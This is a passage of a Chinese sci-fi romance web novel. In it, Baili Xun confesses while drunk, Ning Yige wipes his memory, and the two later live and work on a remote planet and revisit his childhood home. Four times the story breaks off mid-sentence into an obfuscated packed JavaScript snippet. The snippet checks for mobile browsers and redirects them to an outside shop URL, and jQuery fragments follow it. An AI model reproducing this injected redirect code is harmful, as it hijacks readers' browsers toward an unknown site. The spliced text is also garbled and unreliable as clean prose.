宁以歌没有拒绝,而是饶有兴致地继续任他摆布自己的手。 宁以歌眯眼观察着,百里寻竟然发出了满足的喟叹。 百里寻垂头贴在宁以歌的脸侧,眼波流转,如蕊的长睫扫过她的脸颊,宁以歌黑瞳微动,就听百里寻用气声继续说,“我喜欢被你触碰。” …… 百里寻贪念四起,想拉着她的手继续往下拉,发现拉不动了,于是茫然地抬起头:“唔?” 宁以歌眯起眼睛:“你还想干什么?” 百里寻挣扎了一下,小声说:“我想……” “不可以。” “哦。”百里寻悻悻地松开宁以歌的手。 然后他又一把揽住宁以歌的腰,让她的头靠在自己的肩上。 “你就这样靠着我,我们一起看星星吧!” 两个人就这样保持着亲密的姿势沉默地望着星空。 直到宁以歌毫无征兆地问:“你是不是喜欢我?” 百里寻几乎是毫不犹豫地回答道:“是啊。” “以前就喜欢?” “以前就喜欢。”百里寻想了想,又着急解释,“我……从来没有歧视过你,我妈妈就是C级,我不可能会看不起你。” 百里寻耷拉着眼皮:“但是因为那帮家伙,我知道没可能后就放下了。” “为什么现在又放不下了?” “因为你一直在撩拨我。” 宁以歌笑了:“我怎么撩拨你了?” “唔……”百里寻认真回忆,但酒精已经浸泡了他的大脑,只能提取出破碎的信息,“非要让我当保镖,守在你身边日日夜夜,救我又不放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332012|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……” 宁以歌又问:“你上学的时候真喜欢我?” “真的!你不信吗?” 宁以歌以为百里寻会因为她的质疑而恼怒反驳,却没想到他只是小声地问了她这一句,随后眼眶开始湿润,委屈巴巴地弓着背反靠进了宁以歌的怀里。 “我不想做你在学院中的敌人,但是你讨厌我,因为我是沉默的帮凶,你讨厌我是应该的。” 宁以歌:“那为什么还向我下决斗书?” “决斗书?决斗书……”百里寻仰起头,茫然地回忆,随后如同被人当头敲了一棒般,痛得流下一行清泪,“那天晚上,我是想、是想跟你表白。” 宁以歌:“……为什么跟我表白?你明明知道,我一定不会答应你。” “我就是想让你对我的讨厌少一点,一点点就够了。” 百里寻精致的脸庞痛苦地扭曲成一团,像是在外受欺负的宠物,一个劲地跟主人哭诉委屈:“我讨厌首星,讨厌百里家,讨厌墨菲学院里所谓的兄弟会……讨厌我自己,为什么会觉醒异能。” “因为这该死的异能,我失去了母亲,失去了追求幸福的权利。第一次见到你,连句话都没和你说上,就被你当做敌人看待。”百里寻啜泣,“宁以歌,我现在还是你讨厌的人吗?” “不是。” “真的吗?”百里寻亮晶晶的眼睛又在兴奋地看着宁以歌。 宁以歌点头:“真的。” 百里寻往她身上蹭了蹭,发出幸福的叹息:“你真好。” 宁以歌被男人蹭得心痒耐耐,她深吸一口气,捏起他的下巴,将他的脸掰向自己。 百里寻漂亮的脸在星光下熠熠生辉,眼角还未干涸的泪迹为他增添了一分惹人怜爱的柔弱。 她的指腹摩挲着男人的下颌,用视线勾勒他的脸庞,许久没有再说话。 他在百里家的这十五年里保养得极好,皮肤细腻,每天胡茬也清理得十分干净,全然不见儿时的落魄痕迹。 手感不错,宁以歌想。 百里寻眨巴着眼睛,见她没有下一步动作,于是好奇地问:“你在想什么?” “我在想,”宁以歌垂眼吐息,“猫喝醉了为什么会变成狗?” “猫喝醉了会变成狗?真的假的?” 宁以歌勾起唇角,放开了百里寻困惑的脸:“真的。” 百里寻却还保持着原来的姿势,撑着上身以低位的姿态扬脸看宁以歌:“你见过猫变成的狗?在哪里?” “就在这。” 百里寻低头四下寻找:“我没有看见呀?” “那就别找了。” 百里寻一脸茫然,他的眉毛又皱成一团,浑浊的大脑已经完全无法思考宁以歌说的猫啊狗啊究竟是什么意思了。 于是他理所当然地放弃思考这个问题,又继续赖在宁以歌身上不愿离开。 宁以歌无言地看百里寻闹腾,几乎把她当作抱枕来回蹭,她简直怀疑这家伙是不是一直有肌肤饥渴症。 以他的精力再这样继续折腾下去,她今晚别想睡了。 “百里寻,”宁以歌柔声细语,循循善诱,“已经很晚了,不困吗?你躺我腿上休息会吧。” 其实百里寻根本不困,但他十分愿意抓住这个机会睡在宁以歌的腿上,于是他乖巧地打了个哈欠,躺了下来,眼睛仍然一转不转地朝着宁以歌的脸。 他傻笑着又重复了一遍:“宁以歌,你真好。” “哪里好?” “哪都好。” 温柔的晚风中,宁以歌露出笑容:“看在你夸我的份上,我留给你一句忠告。” 百里寻的手在阴影中又在不老实地悄悄勾着宁以歌的手指,面上却无辜地问:“什么忠告?” “你最好现在就祈祷明天早上你会不记得今晚的事。” 宁以歌抬起右手,掌心轻覆在百里寻的前额,异能发动,百里寻在无知觉中坠入绵长的梦境。 35. 可能 百里寻睁开眼睛,只觉得头隐隐作痛,他低喘一声,从柔软的床上坐起身,垂首按揉太阳穴,而后忽然愣住。 他的余光里看见了床尾抵着的墙面上一行醒目的字“我要去首星”。 百里寻猛然转头打量四周,这是宁以歌的卧室,他居然是在宁以歌的床上度过昨夜的。 可他一直睡的沙发呀,宁以歌怎么大发慈悲让他睡自己的卧室?那昨晚宁以歌睡的哪里?沙发吗? 百里寻在混乱的记忆中寻找关于昨晚的片段,然后恐慌地发现了一片空白。就像拼图凭空缺了一块,只余下空洞的轮廓供他想象。 这是他从未经历过的情况,哪怕是在天上楼遭人暗算的那一夜他也没失去全部记忆。百里寻很是不安:“阿金!” 阿金应声出现在百里寻的被子上,猝不及防地重重压住了他的腿。百里寻龇着牙推了一把,阿金睡眼惺忪地看了主人半天才反应过来挪了挪屁股。 阿金打了个哈欠:“好困啊,主人。我能不能再睡一会?” “你怎么还有心情睡觉?”百里寻也泛着困意,但记忆平白无故缺了一段的诡异情况令他不得不打起精神,“你知不知道昨晚发生什么了?我怎么睡在这?” 阿金理直气壮地回答:“你都忘了,我怎么会记得?” 百里寻拽了下它的尾巴,怒道:“我养你何用!” “不要生气了主人,其实你睡在这里很爽吧?”阿金又打了个哈欠,“我们精神状态共享,我好久没有睡过这么踏实的一觉了。啊,一想到未未平时也睡在这里就特别幸福,要是它能陪我一块睡就好了……” 百里寻:“……” 他瞬间涨红了脸,一拳挥向这个不争气的精神体:“你怎么这么不要脸!” 在拳头到达之前,阿金利落地缩回了精神图景,而此时卧室外响起纸鹤门帘碰撞的轻响,门被缓慢推开一条缝,宁以歌探进半个头,往床上看,恰巧看见百里寻向空气挥出一拳。 “你干什么呢?” 百里寻收回手:“我晨练。” 宁以歌将门推开更大,直接进来了。 百里寻连忙遮住自己没穿衣服的上身:“你……你不能等我穿个衣服吗?” 宁以歌的眼神意味不明:“宁希,你好矜持哦。” 宁以歌的语气寻常平稳,但百里寻却听出了一丝戏谑,心中顿时警铃大作:“你什么意思?” “没什么意思,矜持是件好事,继续保持。”宁以歌从背后拿出一件崭新的衬衣丢过来,“昨晚的衣服已经洗了,你穿这件。” 宁以歌的话触发了某些记忆关键词,百里寻的脸色很不好:“为什么要洗我的衣服?平时我都是自己洗的。” “你衣服上全是酒味,放在那里怪熏人的,我就帮你用洗衣机洗了。”宁以歌说,“我走了,不影响你穿衣服了。” 正要走时,宁以歌又转过身,继续带着那抹莫名其妙的微笑:“别晨练了,现在已经中午了,起床吃午饭吧。” 房门合上,卧室内重新陷入昏暗。百里寻惊疑不定地回味宁以歌话中零碎的信息。 他昨晚喝酒了?对,记忆的最后片段里,他确实去了茶水棚喝了小半瓶粉色的酒。 然后就彻底没了后续。 难道他喝酒喝断片了? 百里寻不相信这个猜测,为了逃避现实,他确实沉溺于酒精中十数年,但这也是基于他酒量很好的基础之上,如果随随便便就能喝断片,他断然不会轻易沾酒。 百里寻烦躁地一边穿衣,一边罗列其余可能,最后绝望地得出结论:除非有能够抹除记忆的异能者对自己下手,否则只剩下他喝断片了这唯一一个可能了。 他洗漱完就去找正在盛饭的宁以歌:“我昨晚……” 宁以歌将饭碗塞进了他的手里,淡淡看了他一眼:“哦,你喝断片了,倒在地上,你太重了,我拽都拽不起来,和塔瓦娜叫人一起把你拖回来的。” “为什……” “你喝的是十一星东大区特产朱酒,再好的酒量遇到它也不行。”宁以歌说,“你不是戒酒了吗?” “我没找到水,就随便挑了一瓶,想着喝点没事。” “下次别喝了。” “……” “愣着干什么?快去吃饭吧。” 百里寻总觉得哪里不对,昨晚他真的只是喝完就醉倒了吗? 他总疑心重复了过去的错误,但宁以歌今天穿着的外衣领口不高,没看见吻痕,刚才他洗漱时也检查了一遍身体,也没找到可疑的痕迹。 应该就是喝完醉倒了吧。 饭桌上看宁家父母的表现,也没什么特别的。只是宁母打趣着让百里寻以后别再误喝朱酒,昨天半夜是三个人一起把他从种植园送回来的。说得百里寻羞愧到想钻地缝。 虽然百里寻仍然对此事心存疑窦,但宁以歌的解释也暂时找不出漏洞,于是他只得暂且搁下,继续自己的工作。 丰收节结束,百里寻在十一星的工作重心应该从种植园劳作渐渐转移向机械改造,但小拾和他约好这几天去小拾家后院的山头上采摘野生草药,于是他又将在种植园的日程延长了些时日。 本来百里寻应该上午就去和小拾碰头的,但怎料到昨晚出了岔子,一觉就睡到了晌午。 还好跟小拾一番解释后,他表示理解,背起竹篮又递给百里寻另一个,让他跟着自己了解主要采摘哪些野草野菜,以便这位机械大师再发明个什么新奇玩意来帮助提高他们平日的采摘效率。 小拾的那只雉鸡精神体又神采飞扬地走在他们的前面,一边走一边探头寻找目标草药野菜。 百里寻跟着他们认识了不少从未听说过的植物,他一一拍照记录在光脑中,方便之后针对这些植物的找寻和采摘研究。 在一堆陌生的植物介绍中,百里寻忽然听到了一个熟悉的名词。 “宁希哥,你看,这是普罗草。” 百里寻正忙着录入植物信息的手一顿,抬眼望向小拾指着的方向。 那里有一丛看起来再寻常不过的青草,原本该是青绿色的叶片因为泥灰的侵染而变得灰扑扑的,百里寻努力将面前这堆草与记忆中的普罗草对应起来,却失败了。 “这些都是普罗草吗?” “不是的,”小拾拨开青草丛,从里面扒拉出一小簇灰的最为明显的草,揪下其中一根,递到百里寻面前,“只有这个是。” 百里寻用手指抹去上面的泥土,这些看似与普通青草别无二致的普罗草才显现出属于它们的特征。 普罗草有着条状的细黑纹,黑纹沿着草叶脉络从根部一路蔓延至尖端,不细看难以发觉。 百里寻又取下水壶倒水洗了洗灰扑扑的普罗草,通透的青翠色才终于出现在他的面前,与他平日喝酒时所见的普罗草模样才对的上了。 “普罗草其实还挺多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343551|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,就是有点不好辨认,而且我们平日里很少用到它,采摘的也少。”小拾说,“听说有一部分人喜欢用普罗草调酒?我觉得普罗草味道好难吃啊,为什么会要用它调酒?” 普罗草的忠实拥趸者百里寻沉默了半晌,将洗净的普罗草丢进嘴里嚼了嚼,熟悉的酸苦味涌上舌尖,但酸苦之后是渐渐明晰的一缕甘甜。 这缕酸苦之后的甘甜虽然稍纵即逝,但仍叫人上头。 百里寻回答:“人的口味总是多种多样的,再难吃的东西都有人喜欢。” 小拾表示理解,眼珠子又一转,开口道:“我突然想起来一件事。以前我们跟舒星长介绍我们在后山发现的普罗草情况时,舒星长还打趣说这普罗草跟宁部长很像呢。” 百里寻的眼睫又是一颤。 “舒星长说,普罗草的名字代表普通民众,它们总是与寻常青草共生,看起来不起眼但又并不普通,有着自己特别的价值,口味又与苦尽甘来这一美好寓意的词语相配,就像与我们出身没有什么区别的宁部长。从普罗大众来,又取得了我们企及不了的地位,却还想着如何改变我们这些小草的生活。” “好像确实如此。”百里寻轻笑,又捏着剩下的普罗草瞧了瞧,这些从前在他眼中就是一种普通香料的野草忽然多了一层特别的含义。 “宁部长知道舒星长拿普罗草比喻她吗?” “应该不知道吧?他这么说的时候宁部长已经去首星了。”小拾问,“宁希哥,你问这个干什么?” “没事,我瞎问的。” 日落西山时,百里寻与小拾在山下告别。他刚离开种植园就瞧见了宁以歌。 百里寻前后左右看了一圈,确认宁以歌就是在等自己后加快了脚步,声音止不住地上扬:“你怎么来了?” 除了头回来种植园,之后宁以歌再也没有特意在傍晚来接过他。 宁以歌坐在一辆二手电双轮车上,戴着头盔,对他微抬下巴:“上车。” 百里寻扭捏一下:“这怎么好意思,哪有保镖坐车雇主开车的,应该换我骑车带你。” 宁以歌:“别废话,上不上来?” “上上上。”百里寻连忙跨上后座,宁以歌一拧开关,电双轮霎时冲了出去。百里寻不由得伸手拉住了宁以歌腰侧的衣服。 宁以歌说:“这是邻居淘汰的电车,现在给我了。以后有空我就来接你,比人力车快多了,咱们也能早点吃晚饭。” 百里寻点头,又意识到宁以歌看不见,在呼啸的风声里大声说:“这可太棒了!我喜欢坐电车!” 后视镜里的宁以歌没忍住笑了一下。 风声渐小时,百里寻说:“我今天跟着小拾去采野草,第一次看见了野生普罗草。” 百里寻凑近了点:“我觉得普罗草很像你。” 宁以歌微微偏过头:“嗯?” 百里寻厚着脸皮直接照搬了舒义的那段话说给宁以歌听,宁以歌笑了笑:“那你像什么?” 百里寻没想到宁以歌问到自己身上:“不知道,你觉得我像什么?” 宁以歌:“花吧?至于什么花,我得想一想。” * 阿金觉得主人最近有点烦人。 就比如某天晚上,百里寻翻来覆去睡不着,进入精神图景将阿金薅起来,故作严肃地向它提出了一个石破天惊的假设:“有没有可能,其实宁以歌不讨厌我了,甚至……有点喜欢我?” 36. 心思 阿金:“不知道,反正未未肯定早就喜欢我了。” 百里寻冷哼:“我们都心知肚明,精神体的想法和感情倾向与主人保持高度一致,你不会想说宁以歌早就喜欢我了吧?你别忘了当初宁以歌看咱俩的眼神,跟淬了毒的刀子似的。” 阿金不吭气了。 百里寻想起先前阿金一看见未未就像遇见磁石的铁块啪地吸上去的模样就恨铁不成钢:“宁以歌不是会被情爱左右的人,我们会被她救下带在身边是因为我们本身有价值,那个未未它也是为了骗取你的信任,假装青睐你。你也是的,它随便抛个媚眼你就乐颠颠地贴上去,也不看看它主人什么态度。” 阿金也不服气:“那你现在又凭什么说宁以歌喜欢你?” 百里寻的目光闪了闪,托着腮,望着精神图景之中的夜空,陷入回忆。 该从哪里梳理起? 比如那一晚因为醉酒,宁以歌照顾他破天荒让他睡在自己床上。甚至之后不知从哪淘来一张折叠床,贴心地告诉他,以后不用再挤在狭小的沙发上。 再比如从那天起宁以歌几乎每天骑着小电车勤勤恳恳地接送他去教授机械改装基础知识的工作地点,甚至也会跟着村民一起听他上的基础课程。百里寻每一次看向宁以歌的时候,她都听得很认真,他的心也不由得跟着雀跃,故而讲解得更加卖力。 又比如宁以歌说他像花。 想到这,百里寻傻笑得跟朵花似的。 虽然宁以歌没说他像什么花,但这一定是夸人的好词。而百里寻细细回想,自从自己坦白身世之后,宁以歌几乎不再在言语上与他针锋相对,对他尊重了许多。 即使他们之间从未明说,但在第十一星这么多天来,百里寻觉得再怎么样自己也能够得上宁以歌朋友的边了吧。 他又想起自己的机械设计才能在十一星大展拳脚后,小拾也不再提初见时叫他“宁部长跟屁虫”的事,而是自然而然地将他视作宁以歌的朋友,亲昵地喊他宁希哥。 其余接受百里寻授课的乡亲们亦是如此。 百里寻明白十一星的这些平民百姓们对宁以歌的重要性,倘若他们接受了自己宁以歌朋友的身份,那么想必宁以歌的态度也不会是抗拒的。 想到这里,他又不禁翩翩然,从前靠着出身和高级精神体才能获得的关注与尊重在这里复得,只是这一次,他只是凭借着自身的能力。 他不是什么百里家万众瞩目的继承人,不是威风凛凛的S级精神体拥有者,他只是以曾接受过的良好高等教育回馈乡亲的普通的宁希。 但比起这样的宁希和过去的百里寻,究竟哪一个更与宁以歌相配,却是百里寻怎么也思考不出答案的问题。 阿金听百里寻絮叨完,简单地提出一个问题:“所以你敢再跟她表白吗?” 百里寻骤然沉默。 他沮丧地垂头,没有回答这个问题,但与他精神与思想相连的阿金并不需要他口头的回答便已知晓答案。 他不敢。 就连当初那个糟糕透顶的告白夜也是他鼓足了数个月的勇气才迈出了那一步,却惨烈收场,连句真心话都没说得出口就被宁以歌彻底打入冷宫。 而如今无论是百里寻出事前后,他与宁以歌的位置都是不相称的,更不用说他们现在只是合作关系,宁以歌只是看中他的异能与精神力水平,更不可能与他再进一步。 尤其是百里寻已经下定决心事成之后远离这片是非之地,这也是她应允他的报酬。 当初百里寻想要告白,是他会因宁以歌眼中的厌恶而神伤,所以使用拙劣的办法试图靠近她。他又害怕这份对学院里精神力倒数第一的爱恋会打破他费尽心力维持的属于百里家族继承人的骄傲,而行动鬼祟以至于被宁以歌误会。 现在宁以歌眼中的厌恶已经随着时间推移渐渐消减。 在这样的情况下还有必要再去对宁以歌袒露心意吗?他们注定分道扬镳,而宁以歌显然也不会为了情爱停留。 又何必再因为这份不应该的感情去扰动彼此的心呢? 百里寻眼中渐染忧伤之色,终是长叹一口气。 唉,暗恋好难。 他仰头躺倒,想到宁以歌的癖好,又叹出一口气。 唉,不过这样也好,毕竟他还是接受不了当下面那个,要是真和宁以歌谈起恋爱难道一直柏拉图? 阿金看着主人在精神图景里被迟来的少男心事困扰到辗转反侧,凉凉地泼冷水:“连告白都不敢,你是不是想得太远了?” 百里寻耷拉着眼睛,第三次叹气。 唉,没准即使在恰当的时机相遇,宁以歌也根本不接受和自己谈恋爱,单恋好难! * 百里寻做了满夜长梦,梦里自己一次又一次对宁以歌告白,而宁以歌一次又一次地毫不留情地拒绝自己。梦境的最后,宁以歌挽着面孔模糊的男人的手,对百里寻说。 “别再纠缠我了,我要与执政官的儿子结婚了,他能为我带来更好的资源与机会,而你这个黑户什么也没有。” 百里寻从梦中惊醒,满身冷汗地想,梦都是反的,现任执政官阿莱西亚根本没有孩子,更别说让她的儿子和宁以歌结婚了。 即便如此暗示自己,这场令他备受打击的梦还是让他睡不下去了,一夜没怎么睡的百里寻像往常去宁以歌父亲开的小学里给孩子们上机械启蒙课。 如今的百里寻已经是十里八乡上到老下到小都知道的机械大师,而宁父觉得星际时代机械学习该从小抓起,便直接将百里寻薅到自家小学为孩子们科普基础机械理论。 因为在这颗偏远星球上的老师数量有限,有的时候百里寻还力所能及地带些其他的课程。 就比如现在,百里寻正在为孩子们分发画纸,这节课是美术课。 百里寻画技还可以的这一点被宁以歌发觉后,她毫不客气地告诉了自己父亲,宁父自然喜出望外地新开了美术课,邀请百里寻当老师。 “宁希啊,我们这里的小孩都没见过什么高楼大厦,飞车宇航船,你教他们画画这些就可以了,他们一定很喜欢!这样不仅能开拓眼界,还能培养他们的动手能力。” 于是百里寻应下来了这份美术老师的工作。 这节课的课堂内容是自由绘画,百里寻拉了把椅子坐在边上看堂,昨晚没睡好产生的困意泛上来,他迷迷糊糊地数着自己在十一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347003|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星这些天打了多少工,无声感叹宁以歌真是将他物尽其用。 但又想起宁以歌往他账户打的钱,他又觉得性价比其实还可以。至少和十一星的乡亲们相处可比首星那些肚子里不知道有多少弯弯绕的人精们轻松多了。 坐在第一排的小男孩放下画笔,举起手:“宁老师,我画完了!” 百里寻眼皮一掀,瞬间恢复了工作状态,颇有兴致地上前俯下身看小男孩的画:“让老师瞧瞧,你画了什……” 他顿住了,眯起眼睛打量了两遍:“……这是宁以歌?” “是呀,是宁姐姐!”小男孩指着画上潦草的女人说。 尽管潦草,但宁以歌黑发黑眼和她那一身常穿的米色上衣黑裤白手套都画了出来,这身搭配并不算烂大街,因而百里寻一眼就认出来了。 小男孩的手指从女人移到画中另一个潦草的男人身上:“这是我。” 百里寻瞪大了眼睛:“你?”这个男人个头和画中的宁以歌差不多高,穿着百里寻画给他们看过的西服,俨然成年人的模样。 小男孩自豪地回答:“对呀,我长大了要和宁姐姐在一起。” 百里寻:“你懂得在一起是什么意思吗?” “我当然知道,就是我嫁给宁姐姐的意思。” 百里寻抽动嘴角,尽力压住大笑的冲动:“你才几岁就想着以后嫁给她?” 小男孩回答:“我十岁了!” 百里寻继续忍笑:“你太小了,你宁姐姐今年二十六,等你长大她早有对象了,你没机会的。” 小男孩听出了百里寻语气里的调侃,不服气地说道:“不会的,我听过我妈跟隔壁阿姨说,宁姐姐就喜欢年纪小的。” 百里寻的笑容消失了。 “真的?她喜欢年纪小的?” 小男孩对百里寻翻白眼:“当然啊,哼,我画完了,要出去踢球了,再见宁老师!” 小男孩蹦蹦跳跳着出了教室,留下百里寻蹙眉严肃地盯着面前的简笔画陷入沉思。 傍晚,宁以歌依然骑着她那辆专属电车准时出现在百里寻面前,把头盔抛给他。 百里寻默默戴上头盔,又安静地坐在后座上,往常这种时候百里寻总会仿佛有说不完的话似的跟宁以歌分享今日的见闻,所以今天格外沉默的他引起了宁以歌的注意。 但宁以歌没有特意停留,她只看了他一眼就照常启动电车,风掠过他们的耳畔,百里寻贴上宁以歌的后背,努力靠近她的耳朵,小声地说: “我不想当你表哥了。” 宁以歌眉梢一动,不动声色地说:“你本来就不是。” 百里寻提高了点音量:“我想当你表弟。你把我的新户口上面的年龄改一改吧!” 电车停下,宁以歌一脸莫名其妙地看他:“百里寻,你在发什么神经?” “我就是随口说说……”百里寻又心虚地缩了回去,看向别处,他能感受到宁以歌观察了他许久,才继续赶路。 后座上的百里寻凝视着地上夕阳投下的属于他们两个人的影子,酸涩地想,自己的旖旎心思终将被自己吞入腹中带进坟墓,她什么也不会知道,就像九年前的那样。 37. 熟人 夏季伊始,百里寻已经完全适应了在第十一星的生活,几乎全然忘记了曾经自己在首星的生活是什么滋味了。 白日里他为本地乡亲教授知识、改造农产装置,黑夜里编绘机械图纸,短短两个月里竟然使十一星种植园风貌焕然一新。徐望等负责人更是将百里寻封为座上宾,望着提高农作效率的机器畅想来年的收成。 毕竟十一星实在太缺少技术型人才了,不然也不会等到百里寻的到来这一切才有所改善。 百里寻在十一星的一举一动尽入宁以歌的眼中,即使她平日里一般都在为十一星政府做事,不常与百里寻呆在一起,但十一星遍地都是她的眼线,只需随口一问就有乡亲积极为她汇报百里寻的动向。 在乡亲的嘴里,百里寻几乎没划过水,倒是一直兢兢业业埋头苦干,也从没摆出过少爷架子。在百里家呆了十五年的他竟然也没有太多心眼子,极易相处,倒是挺讨人喜欢。 宁以歌听着其他人口中百里寻的形象,自然地得出结论,难怪百里家不喜欢他,百里寻此人除了强悍的精神力和异能,哪一点符合百里家的风格? 就算日后他顺利成为家主,多半也只是幕前的傀儡。 宁以歌站在教室外注视着窗户那一边哄着低年级小孩的百里寻,他示范着组装出一个简易纸飞机弹射器,吸引了所有孩子的兴趣,他们兴奋地围着百里寻叽叽喳喳。 看着笑着比划如何组装弹射器的百里寻,宁以歌的目光柔软了些。 在百里寻的鼓励下,一个小孩子成功组装出弹射器,再小心地将纸飞机安在上面,弹射器启动,纸飞机窜了出去,在阳光中悠悠划出一道优美的弧形航线,恰巧钻过开敞的窗户缝隙,落在宁以歌脚尖前的地面上。 教室里众人的目光跟随着悠悠飞行的纸飞机的轨迹投向窗外,最终停在宁以歌的身上。 宁以歌弯腰捡起地上的纸飞机,捏在手上对他们晃了晃,教室里的人反应过来,孩子们叫着“宁姐姐”想离开座位冲过来,被百里寻毫不留情地挨个拽住按回座位,严肃地说:“还没有下课,你们坐好,宁姐姐显然是来找我的。” 于是他一个人走出了教室,来到宁以歌的面前。 “这还没到放学呢,你来是有事找我吗?”百里寻问,“还是只是路过?” 宁以歌将纸飞机还给他:“我是想跟你说一声,过三天我们得离开十一星了,在假期结束之前我在其他星球上还有些事情要去处理。” 百里寻的目光闪了闪,他已经有点舍不得这里了。但他没有权利对宁以歌要求多留在这里一会。 “在离开之前,跟我去一趟西大区,”宁以歌说,“你以前就和母亲住在那边,还记得你们家的位置吗?我们可以回去看看。” 百里寻愣住了,他垂下眼睑:“其实不用,西大区大多数人没有固定的住处,连房屋都是便于拆卸和搭建的简易棚屋。因为台风和海啸隔两三年就会席卷而至破坏住所,所以搬迁对于那边的人来说是常有的事。我曾经的家也多半早就没了。” “但是,”百里寻的语气转了个弯,“回去看一眼也不错。” 次日,他们乘坐每天会在东西大区来往的公共电车到达西大区。西大区临海,一下车潮湿的海风便夹杂着晾晒的鱼干的腥咸味一同袭来。 物种大异变时期对海洋生物影响最小,即使陆生动物稀缺,但海洋生物也足以满足人们的蛋白质摄入需求。 只是出海仍伴随着巨大的风险,自然灾害且不说,生活在海洋深处的异种也可能被渔船惊扰而袭击人造成伤亡。 即使需要与自然抗衡,这里生活的人们也仍然找到了自己的生活方式。 码头的渔船满载而归,渔夫们正接力往岸上搬运装载海鱼的周转箱,海水随着还没死透的海鱼的挣扎溅在地面上,聚成一片水洼,渔夫穿着防水的长靴踩过水洼,反射在水洼中的阳光随着踩踏溅成亿万光点。 百里寻仔细观察着一切,感叹:“这里和十七年前很不一样了。十七年前,还有本地土皇帝仗着家里有钱就在这边压榨人民作威作福,许多渔民捕获的海产都送进了他们的口袋。”小时候的他也因此常常吃不饱饭,还整日提心吊胆。 他看了眼宁以歌,还是多亏了她,十一星的土皇帝们随着圣魂教的失势而不见踪迹。 难得丰收而笑容满面的渔夫们边搬运海鱼边聊着天,其中一个眼尖的渔夫在聊天的间隙瞧见了路过的宁以歌,便放下手上的活计向那边挥手大喊:“宁部长!” 宁以歌和百里寻同时停下脚步,往渔船走去。 渔夫们纷纷围过来,像百里寻见过的许多其他十一星民众一样对宁以歌热情洋溢地问好,宁以歌也是深得民心的清官模样与他们亲切寒暄,百里寻熟练地往边上让了两步,留给他们足够的空间。 他是保镖,只需做保镖应该做的事。 百里寻沉默望着兴奋的渔民们,像往常陷入放空状态之中。 这时,渔民中一位稍年长的瞥了一眼百里寻,然后顿住了,眼睛忽然一亮:“你是……” 宁以歌眼疾手快伸手一把将还没反应的百里寻拽过来:“您认识他?他是小希呀!” “小希……对,小希!”老渔民往前一步,细细打量百里寻,“你小时候是个白毛小子啊……” 百里寻即答:“我染发了。” “也是,年轻人染发很正常!你妈妈最近怎么样了?” 百里寻顿了顿:“她不在了。” 人群安静下来,老渔民脸色微沉,最终叹了口气:“她人很好,可惜了……你这是回来看看家吗?我还记得你家住哪里,我带你们去吧!” 如百里寻所料,他曾经与母亲的小屋子已经不在了,在原来的地皮上新建了其他居民的房屋,人类的居住区随着天灾如潮水涨落,灾难过去原处已经看不出曾经的痕迹。 老渔民说:“去年夏天台风,这边都被淹了,这些房屋都是秋冬时搬回来新建的。” 百里寻没有多少失落,他向老渔民道过谢,老渔民便接着忙自己的事情去了。 宁以歌与百里寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351706|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在原地静驻良久,直到百里寻说:“走吧。” 宁以歌却没动,她看向百里寻:“三天后,我们就启程去第八星。你应该没去看过牺牲的医护人员纪念碑吧?” 百里寻有些受宠若惊:“真的?你说的处理事情不会就是处理我的事情吧?” “差不多。” 宁以歌模棱两可地回答,但百里寻已经知足了,她还记得自己与母亲在第八星的过去,愿意带上他去母亲最后停留的地方,百里寻已经很感激了。 百里寻又问:“那今天来西大区是……” “我们的飞船坏了,去不了第八星,公共航船班次太少我等不起,我就叫了一个人来接我们,根据计算他今天应该差不多就能到这里了。” 宁以歌指了指不远处的海滩:“东大区不如西大区的场地适合飞船着陆,所以预定降落地点在这边的海平面上,我们去那边等。” “谁来接我们?” 宁以歌只是说:“你认识他的。” 话音刚落,眼尖的百里寻就瞧见万里无云的天空上出现了一个小小的黑点,黑点的轮廓逐渐清晰,他怎会认不出这是一艘飞船。 飞船从空中不紧不慢地降落,助推器产生的噪音使这艘飞船成功吸引了岸边渔民的注意力,几乎没见过高级飞船的渔民们也顾不上干的活,都探头看向这边。 